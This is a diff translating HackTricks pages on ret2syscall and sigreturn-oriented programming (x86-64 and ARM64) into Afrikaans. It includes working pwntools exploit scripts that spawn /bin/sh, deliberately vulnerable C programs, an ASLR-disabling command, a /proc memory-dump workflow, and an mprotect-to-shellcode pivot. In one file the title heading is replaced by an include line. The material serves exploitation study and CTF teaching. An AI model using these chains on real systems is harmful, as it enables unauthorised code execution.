index 444927dfd12..e8ce9515362 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
@@ -2,26 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese inligting
-This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
+Dit is soortgelyk aan Ret2lib, maar in hierdie geval sal ons nie ’n funksie uit ’n library aanroep nie. In hierdie geval sal alles voorberei word om die syscall `sys_execve` met sekere argumente aan te roep om `/bin/sh` uit te voer. Hierdie tegniek word gewoonlik uitgevoer op binaries wat staties gekompileer is, dus kan daar baie gadgets en syscall-instruksies wees.
-In order to prepare the call for the **syscall** it's needed the following configuration:
+Om die **syscall** voor te berei, is die volgende konfigurasie nodig:
- `rax: 59 Specify sys_execve`
- `rdi: ptr to "/bin/sh" specify file to execute`
- `rsi: 0 specify no arguments passed`
- `rdx: 0 specify no environment variables passed`
-So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
+Dus is dit basies nodig om die string `/bin/sh` êrens te skryf en dan die `syscall` uit te voer (met inagneming van die padding wat nodig is om die stack te beheer). Hiervoor het ons ’n gadget nodig om `/bin/sh` in ’n bekende area te skryf.
> [!TIP]
-> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
+> Nog ’n interessante syscall om aan te roep, is **`mprotect`**, wat ’n aanvaller sal toelaat om **die permissions van ’n page in memory te wysig**. Dit kan gekombineer word met [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
-## Register gadgets
-
-Let's start by finding **how to control those registers**:
+## Register-gadgets
+Kom ons begin deur te vind **hoe om daardie registers te beheer**:[[1]](#references)
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
+Met hierdie adresse is dit moontlik om **die inhoud op die stack te skryf en dit in die registers te laai**.
-With these addresses it's possible to **write the content in the stack and load it into the registers**.
-
-## Write string
+## Skryf string
-### Writable memory
-
-First you need to find a writable place in the memory
+### Skryfbare geheue
+Eers moet jy ’n skryfbare plek in die geheue vind
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@@ -46,26 +43,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
+### Skryf ’n String in memory
-### Write String in memory
-
-Then you need to find a way to write arbitrary content in this address
-
+Dan moet jy ’n manier vind om arbitrêre inhoud na hierdie adres te skryf
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
+### Automatiseer ROP chain
-### Automate ROP chain
-
-The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
-
+Die volgende opdrag skep ’n volledige `sys_execve` ROP chain gegewe ’n static binary wanneer daar write-what-where gadgets en syscall instructions is:
```bash
ROPgadget --binary vuln --ropchain
```
-
-#### 32 bits
-
+#### 32 bisse
```python
'''
Lets write "/bin/sh" to 0x6b6000
@@ -87,9 +78,7 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
-
-#### 64 bits
-
+#### 64 bisse
```python
'''
Lets write "/bin/sh" to 0x6b6000
@@ -105,17 +94,16 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
+## Gebrek aan Gadgets
-## Lacking Gadgets
+As jy **nie genoeg gadgets het nie**, byvoorbeeld om `/bin/sh` in memory te skryf, kan jy die **SROP technique gebruik om al die registerwaardes** (insluitend RIP en params registers) vanaf die stack te beheer:
-If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
{{#ref}}
../srop-sigreturn-oriented-programming/
{{#endref}}
-## Exploit Example
-
+## Exploit-voorbeeld
```python
from pwn import *
@@ -182,14 +170,13 @@ target.sendline(payload)
target.interactive()
```
-
-## Other Examples & References
-
-- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- - 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
-- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- - 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
-- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
+## Verwysings
+
+- [1] [dcquals19_speedrun1 - guyinatuxedo](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
+- 64 bits, no PIE, nx, skryf in geheue 'n ROP om `execve` te roep en daarheen te spring.
+- [2] [bkp16_simplecalc - guyinatuxedo](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
+- 64 bits, nx, no PIE, skryf in geheue 'n ROP om `execve` te roep en daarheen te spring. Om 'n funksie wat wiskundige bewerkings uitvoer op die stack te skryf, word dit misbruik
+- [3] [dcquals16_feedme - guyinatuxedo](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
+- 64 bits, no PIE, BF canary, skryf in geheue 'n ROP om `execve` te roep en daarheen te spring.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
index 5b912eab86e..c19ff9904f0 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
@@ -2,80 +2,75 @@
{{#include ../../../banners/hacktricks-training.md}}
-Find an introduction to arm64 in:
+Vind 'n inleiding tot arm64 by:
+
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Kode
+
+Ons gaan die voorbeeld van die bladsy gebruik:
-We are going to use the example from the page:
{{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}}
-
```c
#include
#include
void win() {
- printf("Congratulations!\n");
+printf("Congratulations!\n");
}
void vulnerable_function() {
- char buffer[64];
- read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
- vulnerable_function();
- return 0;
+vulnerable_function();
+return 0;
}
```
-
-Compile without pie and canary:
-
+Compile sonder ’n stack canary. Die command deaktiveer **nie** PIE op toolchains wat standaard PIE gebruik nie; voeg `-fno-pie -no-pie` by wanneer ’n vaste executable base vereis word:
```bash
-clang -o ret2win ret2win.c -fno-stack-protector
+clang -o ret2syscall ret2win.c -fno-stack-protector -fno-pie -no-pie
```
-
## Gadgets
-In order to prepare the call for the **syscall** it's needed the following configuration:
+Vir Linux AArch64 is `execve` syscall nommer 221 (`0xdd`). Die syscall ABI plaas die nommer in `x8` en die eerste drie argumente in `x0`–`x2`:[[1]](#references)[[2]](#references)
- `x8: 221 Specify sys_execve`
- `x0: ptr to "/bin/sh" specify file to execute`
- `x1: 0 specify no arguments passed`
- `x2: 0 specify no environment variables passed`
-Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
-
+Deur ROPgadget te gebruik, het die oorspronklike toetsstelsel die volgende libc gadgets blootgestel. Offsets is build-specific en moet weer teen die teiken-libc ontdek word:[[3]](#references)
```armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
- ldp x3, x0, [sp, #8] ;
- ldp x1, x4, [sp, #0x18] ;
- ldr x5, [sp, #0x58] ;
- ldr x2, [sp, #0xe0] ;
- blr x5
+ldp x3, x0, [sp, #8] ;
+ldp x1, x4, [sp, #0x18] ;
+ldr x5, [sp, #0x58] ;
+ldr x2, [sp, #0xe0] ;
+blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
- nop ;
- nop ;
- mov x8, #0xdd ;
- svc #0
+nop ;
+nop ;
+mov x8, #0xdd ;
+svc #0
```
-
-With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
+Met die vorige gadgets kan ons al die nodige registers vanaf die stack beheer en x5 gebruik om na die tweede gadget te spring om die syscall aan te roep.
> [!TIP]
-> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
+> Let daarop dat kennis van hierdie inligting uit die libc-biblioteek ook ’n ret2libc-aanval moontlik maak, maar kom ons gebruik dit vir hierdie huidige voorbeeld.
### Exploit
-
```python
from pwn import *
@@ -124,5 +119,11 @@ p.sendline(payload)
p.interactive()
```
+Die hard-coded libc-basis neem aan dat ASLR gedeaktiveer is. Met ASLR geaktiveer, verkry ’n libc disclosure en bereken die basis voordat hierdie offsets gebruik word. Die ketting hang ook af van die presiese gadget-newe-effekte en stack-uitleg wat hierbo getoon word.
+
+## References
+- [1] [Linux-kernel — generiese syscall-nommers (`__NR_execve` 221)](https://github.com/torvalds/linux/blob/master/include/uapi/asm-generic/unistd.h)
+- [2] [Linux man-pages — `execve(2)`](https://man7.org/linux/man-pages/man2/execve.2.html)
+- [3] [Jonathan Salwan — ROPgadget](https://github.com/JonathanSalwan/ROPgadget)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index 20e07f3f2ee..87b7a8f23a3 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -2,25 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals.
+**`Sigreturn`** is 'n spesiale **syscall** wat hoofsaaklik gebruik word om op te ruim nadat 'n signal handler sy uitvoering voltooi het. Signals is onderbrekings wat deur die bedryfstelsel na 'n program gestuur word, dikwels om aan te dui dat 'n uitsonderlike situasie plaasgevind het. Wanneer 'n program 'n signal ontvang, onderbreek dit tydelik sy huidige werk om die signal met 'n **signal handler** te hanteer, 'n spesiale funksie wat ontwerp is om signals te hanteer.
-After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
+Nadat die signal handler voltooi is, moet die program sy **vorige toestand hervat** asof niks gebeur het nie. Dit is waar **`sigreturn`** ter sprake kom. Dit help die program om **uit die signal handler terug te keer** en herstel die program se toestand deur die stack frame (die gedeelte van geheue wat function calls en plaaslike veranderlikes stoor) wat deur die signal handler gebruik is, op te ruim.
-The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
+Die interessante deel is hoe **`sigreturn`** die program se toestand herstel: dit doen dit deur **al die CPU se registerwaardes op die stack te stoor.** Wanneer die signal nie meer geblokkeer word nie, **haal `sigreturn` hierdie waardes van die stack af**, wat die CPU se registers effektief terugstel na hul toestand voordat die signal hanteer is. Dit sluit die stack pointer-register (RSP) in, wat na die huidige bokant van die stack wys.
> [!CAUTION]
-> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`.
+> Deur die syscall **`sigreturn`** vanuit 'n ROP chain aan te roep en **die registerwaardes** wat ons wil hê dit moet laai in die **stack** te plaas, is dit moontlik om **al die registerwaardes te beheer** en dus byvoorbeeld die syscall `execve` met `/bin/sh` **aan te roep**.
+
+Let daarop dat dit 'n **tipe Ret2syscall** sou wees wat dit baie makliker maak om parameters te beheer om ander Ret2syscalls aan te roep:
-Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls:
{{#ref}}
../rop-syscall-execv/
{{#endref}}
-If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
-
+As jy nuuskierig is, is dit die **sigcontext-structuur** wat op die stack gestoor word om die waardes later te herstel (diagram van [**hier**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):[[3]](#references) .
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@@ -56,15 +56,16 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
| __reserved | sigmask |
+--------------------+--------------------+
```
+Vir ’n beter verduideliking, kyk ook na:[[1]](#references)
-For a better explanation check also:
-
-{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
-## Example
+{{#ref}}
+https://youtu.be/ADULSwnQs-s?feature=shared
+{{#endref}}
-You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
+## Voorbeeld
+Jy kan [**hier ’n voorbeeld vind**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) waar die oproep na signeturn via ROP gekonstrueer word (deur die waarde `0xf` in rxa te plaas), hoewel dit die finale exploit van daar af is:[[2]](#references)[[8]](#references)
```python
from pwn import *
@@ -91,9 +92,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-
-Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
-
+Kyk ook na die [**exploit van hier**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) waar die binary reeds `sigreturn` geroep het en dit dus nie nodig is om dit met ’n **ROP** te bou nie:[[4]](#references)
```python
from pwn import *
@@ -126,20 +125,21 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
-
-## Other Examples & References
-
-- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
-- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
-- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary.
-- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`).
-- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- - 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell.
-- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- - 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
-- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- - SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
-
+Ander nuttige SROP-variasies sluit in die gebruik van `alarm()` om die `rax = 0xf` syscall-nommer te verkry wanneer gadgets skaars is,[[5]](#references) die gebruik van ’n herstelde frame om `mprotect` te roep voordat shellcode in die nuut uitvoerbare area gelees word,[[6]](#references) en die deaktivering van stack protection in ’n beheerde lab om die primitive in isolasie te bestudeer.[[7]](#references)
+
+## References
+
+- [1] [SROP walkthrough (YouTube)](https://youtu.be/ADULSwnQs-s?feature=shared)
+- [2] [ir0nstone - Sigreturn-Oriented Programming (SROP)](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
+- [3] [Nightmare - backdoor_funsignals (SROP)](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
+- Assembly binary wat dit moontlik maak om **na die stack te skryf** en daarna die **`sigreturn`** syscall te roep. Dit is moontlik om ’n [**ret2syscall**](../rop-syscall-execv/index.html) via ’n **sigreturn**-struktuur op die stack te skryf en die flag te lees wat binne die binary se memory is.
+- [4] [Nightmare - csaw19 small_boi (SROP)](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
+- Assembly binary wat dit moontlik maak om **na die stack te skryf** en daarna die **`sigreturn`** syscall te roep. Dit is moontlik om ’n [**ret2syscall**](../rop-syscall-execv/index.html) via ’n **sigreturn**-struktuur op die stack te skryf (die binary bevat die string `/bin/sh`).
+- [5] [Nightmare - inctf17 stupidrop (SROP)](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
+- 64 bits, geen relro, geen canary, nx, geen pie. Eenvoudige buffer overflow wat die `gets`-funksie misbruik weens ’n gebrek aan gadgets wat ’n [**ret2syscall**](../rop-syscall-execv/index.html) uitvoer. Die ROP chain skryf `/bin/sh` in die `.bss` deur `gets` weer te roep; dit misbruik die **`alarm`**-funksie om eax op `0xf` te stel om ’n **SROP** te roep en ’n shell uit te voer.
+- [6] [Nightmare - swamp19 syscaller (SROP)](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
+- 64-bit assembly-program sonder RELRO, canary of PIE, maar met NX. Die vloei maak ’n stack-skrywing, beheer oor verskeie registers en een syscall voor `exit` moontlik. ’n `sigreturn`-frame roep `mprotect` om ’n binary-area as RWX te merk en wys RSP na daardie area. Die volgende `read` skryf shellcode by die daaropvolgende instruksie, waarna uitvoering daarin voortgaan.
+- [7] [CTF Recipes - Sigreturn-Oriented Programming (SROP)](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
+- SROP word gebruik om uitvoeringsregte (memprotect) te gee aan die plek waar shellcode geplaas is.
+- [8] [ir0nstone - Using SROP](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
index ad319173282..bb6189e4bb1 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
@@ -1,11 +1,10 @@
-# SROP - ARM64
+# {{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
-## Pwntools example
-
-This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
+## Pwntools-voorbeeld
+Hierdie voorbeeld skep die kwesbare binary en buit dit uit. Die binary **lees in die stack** en roep dan **`sigreturn`** aan:
```python
from pwn import *
@@ -33,55 +32,49 @@ p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
+## bof-voorbeeld
-## bof example
-
-### Code
-
+### Kode
```c
#include
#include
#include
void do_stuff(int do_arg){
- if (do_arg == 1)
- __asm__("mov x8, 0x8b; svc 0;");
- return;
+if (do_arg == 1)
+__asm__("mov x8, 0x8b; svc 0;");
+return;
}
char* vulnerable_function() {
- char buffer[64];
- read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
- return buffer;
+return buffer;
}
char* gen_stack() {
- char use_stack[0x2000];
- strcpy(use_stack, "Hello, world!");
- char* b = vulnerable_function();
- return use_stack;
+char use_stack[0x2000];
+strcpy(use_stack, "Hello, world!");
+char* b = vulnerable_function();
+return use_stack;
}
int main(int argc, char **argv) {
- char* b = gen_stack();
- do_stuff(2);
- return 0;
+char* b = gen_stack();
+do_stuff(2);
+return 0;
}
```
-
-Compile it with:
-
+Kompileer dit met:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
-
## Exploit
-The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
-
+Die exploit misbruik die bof om terug te keer na die oproep na **`sigreturn`** en die stack voor te berei om **`execve`** te roep met ’n pointer na `/bin/sh`.
```python
from pwn import *
@@ -93,8 +86,8 @@ binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
-sigreturn = 0x00000000004006e0 # Call to sig
-svc_call = 0x00000000004006e4 # svc #0x0
+sigreturn = 0x00000000004006e0 # `mov x8, #0x8b` in do_stuff
+svc_call = 0x00000000004006e4 # `svc #0`
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@@ -110,57 +103,56 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
+## bof-voorbeeld sonder sigreturn
-## bof example without sigreturn
-
-### Code
-
+### Kode
```c
#include
#include
#include
char* vulnerable_function() {
- char buffer[64];
- read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
- return buffer;
+return buffer;
}
char* gen_stack() {
- char use_stack[0x2000];
- strcpy(use_stack, "Hello, world!");
- char* b = vulnerable_function();
- return use_stack;
+char use_stack[0x2000];
+strcpy(use_stack, "Hello, world!");
+char* b = vulnerable_function();
+return use_stack;
}
int main(int argc, char **argv) {
- char* b = gen_stack();
- return 0;
+char* b = gen_stack();
+return 0;
}
```
-
## Exploit
-In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**:
+In die **voorbeeld-vDSO-dump wat hieronder gewys word**, is dit moontlik om ’n oproep na **`sigreturn`** by offset **`0x7b0`** te vind:
-Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it:
-
+Daarom, indien dit geleak is, is dit moontlik om **hierdie adres te gebruik om toegang tot ’n `sigreturn` te verkry** indien die binary dit nie laai nie:
```python
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
-libc.address = 0x0000fffff7df0000 # ASLR disabled
+libc.address = 0x0000fffff7df0000 # ASLR-disabled example; replace with the leaked libc base when ASLR is enabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
-sigreturn = 0x00000000004006e0 # Call to sig
-svc_call = 0x00000000004006e4 # svc #0x0
+# Replace this placeholder with a leaked vDSO base.
+# In the illustrated vDSO, __kernel_rt_sigreturn starts at base + 0x7b0.
+vdso_base = 0x0000fffff7ffc000
+sigreturn = vdso_base + 0x7b0
+svc_call = sigreturn + 4 # `svc #0` after `mov x8, #0x8b`
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
@@ -176,17 +168,90 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
+Vir meer inligting oor vdso, kyk na:
-For more info about vdso check:
{{#ref}}
../ret2vdso.md
{{#endref}}
-And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info:
+En om die adres van `/bin/sh` te omseil, kan jy verskeie env variables skep wat daarna wys. Vir meer inligting:
+
{{#ref}}
../../common-binary-protections-and-bypasses/aslr/
{{#endref}}
+---
+
+## Vind van `rt_sigreturn` op ARM64 (2023-2025)
+
+Op Linux/**AArch64** is die gerieflikste SROP gadget gewoonlik die **vDSO**-trampoline wat as **`__kernel_rt_sigreturn`** geëksporteer word. In huidige kernels is die interessante sequence doelbewus klein:[[1]](#references)
+```armasm
+nop // unwinder marker
+__kernel_rt_sigreturn:
+mov x8, #0x8b // __NR_rt_sigreturn
+svc #0
+```
+Moenie ’n offset soos `0x7b0` hard-code tensy jy reeds die presiese teiken-**vDSO** gedump het nie. Die offset verskil tussen kernel builds, dus is die betroubare workflow: herwin die **vDSO**-basis, dump daardie mapping, en resolve `__kernel_rt_sigreturn` binne die dump.
+```bash
+# 1) Find the vDSO mapping
+cat /proc//maps | grep '\[vdso\]'
+
+# 2) Dump it (replace base/size with the values from maps)
+dd if=/proc//mem of=vdso bs=1 skip=$((0xBASE)) count=$((0xSIZE))
+
+# 3) Resolve the trampoline
+readelf -Ws vdso | grep rt_sigreturn
+objdump -d vdso | sed -n '/__kernel_rt_sigreturn/,+4p'
+ROPgadget --binary vdso --only 'svc'
+```
+Dit is baie meer betroubaar as om die hoofbinêre lêer met grep te deursoek, omdat die **SROP entry point** op ARM64 gewoonlik in die vDSO voorkom, nie in die teiken-ELF-lêer self nie.[[1]](#references)
+
+## SROP met ROP ketting (pivot via `mprotect`)
+
+`rt_sigreturn` stel ons in staat om *alle* algemene-doel-registers en `pstate` te beheer. ’n Algemene patroon op x86 is: 1) gebruik SROP om `mprotect` aan te roep, 2) pivot na ’n nuwe uitvoerbare stack wat shell-code bevat. Presies dieselfde idee werk op ARM64:
+```python
+frame = SigreturnFrame()
+frame.x8 = constants.SYS_mprotect # 226
+frame.x0 = 0x400000 # page-aligned stack address
+frame.x1 = 0x2000 # size
+frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
+frame.sp = 0x400000 + 0x100 # new pivot
+frame.pc = svc_call # will re-enter kernel
+```
+Nadat jy die frame gestuur het, kan jy ’n tweede stage met raw shell-code by `0x400000+0x100` stuur. Omdat **AArch64** *PC-relative* addressing gebruik, is dit dikwels geriefliker as om groot ROP chains te bou.
+
+### Vinnige debugging-nota vir `pwntools`-gebruikers
+
+As jy die standaard **AArch64** `SigreturnFrame()` van moderne `pwntools` gebruik, is die geserialiseerde frame **600 bytes** lank. Nuttige offsets wanneer jy beskadigde payloads debug, is:
+
+* `x8` (syscall number): `0x178`
+* `sp`: `0x230`
+* `pc`: `0x238`
+
+As jou payload die `svc #0` bereik, maar die kernel die frame verwerp, is dit dikwels vinniger om hierdie offsets in ’n hexdump na te gaan as om die hele chain stap vir stap uit te voer.
+
+## Moderne kernel-parsing en branch-protection-nuanses
+
+Onlangse **arm64** kernels is strenger as wat baie ou SROP-writeups aanneem. Wanneer jy ’n frame met die hand saamstel, hou die volgende in gedagte:[[2]](#references)
+
+* `sigcontext.__reserved`-parsing is **16-byte aligned**.
+* Slegs **een** `extra_context`-record word aanvaar.
+* As `extra_context` gebruik word, moet sy `datap`-pointer presies na die ekstra data-area wys, en die totale ekstra grootte moet binne die aanvaarde signal-frame-limiete bly.
+* `fpsimd_context` is steeds **verpligtend** op stelsels wat FPSIMD ondersteun, selfs al gee jy net om oor beheer van `x0-x30`, `sp` en `pc`.
+* As jy `sve_context`/`za_context` insluit, valideer die kernel hul groottes en **current vector length**. In die praktyk is `rt_sigreturn` nie ’n skoon manier om VL in die middel van ’n exploit te verander nie.
+* Op nuwer kernels is daar selfs meer opsionele records, soos **GCS**, **POE** en **FPMR**-contexts, wat nog ’n rede is om die kleinste geldige frame moontlik te verkies.
+
+Daarom is die mees betroubare offensiewe strategie gewoonlik om die frame **minimal** te hou: gebruik die verstek `SigreturnFrame()`-uitleg en vermy om SVE/SME-records by te voeg, tensy jy dit uitdruklik nodig het.
+
+Vir hardened userlands, hou ook die volgende in gedagte:
+
